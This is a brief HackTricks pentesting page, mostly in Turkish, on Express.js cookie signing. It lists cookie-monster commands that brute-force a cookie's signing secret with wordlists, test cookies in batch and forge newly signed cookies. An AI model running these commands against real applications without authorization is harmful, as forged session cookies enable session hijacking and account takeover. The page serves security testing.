hacktricks/src/network-services-pentesting/pentesting-web/nodejs-express.md

NodeJS Express

{{#include ../../banners/hacktricks-training.md}}

Cookie İmzası

The tool https://github.com/DigitalInterruption/cookie-monster Express.js çerez gizli anahtarlarının test edilmesi ve yeniden imzalanması için otomatikleştirilmiş bir yardımcı programdır.

Belirli bir adı olan tek çerez

cookie-monster -c eyJmb28iOiJiYXIifQ== -s LVMVxSNPdU_G8S3mkjlShUD78s4 -n session

Özel kelime listesi

cookie-monster -c eyJmb28iOiJiYXIifQ== -s LVMVxSNPdU_G8S3mkjlShUD78s4 -w custom.lst

Birden fazla çerezi toplu modda test etme

cookie-monster -b -f cookies.json

Özel bir kelime listesi ile toplu modda birden fazla çerezi test et

cookie-monster -b -f cookies.json -w custom.lst

Encode and sign a new cookie

Eğer sırrı biliyorsanız, çerezi imzalayabilirsiniz.

cookie-monster -e -f new_cookie.json -k secret

{{#include ../../banners/hacktricks-training.md}}